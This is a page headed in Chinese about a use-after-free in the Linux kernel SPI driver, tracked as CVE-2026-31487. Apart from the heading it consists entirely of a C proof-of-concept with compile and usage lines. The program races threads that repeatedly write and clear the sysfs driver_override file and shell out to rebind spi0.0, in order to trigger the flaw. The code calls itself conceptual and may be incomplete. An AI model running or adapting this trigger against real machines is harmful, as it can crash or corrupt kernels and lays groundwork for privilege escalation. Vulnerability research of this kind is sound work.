CVE-2026-31487 Linux内核SPI驱动UAF漏洞

/* * PoC for CVE-2026-31487 * Conceptual trigger for race condition in driver_override * Compile: gcc -o poc_trigger poc_trigger.c -lpthread * Usage: ./poc_trigger */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> // Example SPI device path, actual path depends on hardware #define SYSFS_OVERRIDE "/sys/bus/spi/devices/spi0.0/driver_override" #define SYSFS_BIND "/sys/bus/spi/drivers_spi/bind" void* thread_override(void* arg) { FILE* fp; const char* val = "dummy_driver"; while (1) { fp = fopen(SYSFS_OVERRIDE, "w"); if (fp) { fwrite(val, 1, strlen(val), fp); fclose(fp); } // Clear it to trigger NULL handling logic fp = fopen(SYSFS_OVERRIDE, "w"); if (fp) { fwrite("\n", 1, 1, fp); fclose(fp); } usleep(100); // Short sleep to allow context switch } return NULL; } void* thread_probe(void* arg) { // Simulate probing attempts or device operations // In a real exploit, this would interact with the driver core while (1) { // Attempt to rebind or trigger driver attach logic system("echo spi0.0 > " SYSFS_BIND " 2>/dev/null"); usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[*] Starting PoC for CVE-2026-31487 (SPI Driver Override UAF)\n"); printf("[*] Spawning threads to race on driver_override...\n"); pthread_create(&t1, NULL, thread_override, NULL); pthread_create(&t2, NULL, thread_probe, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }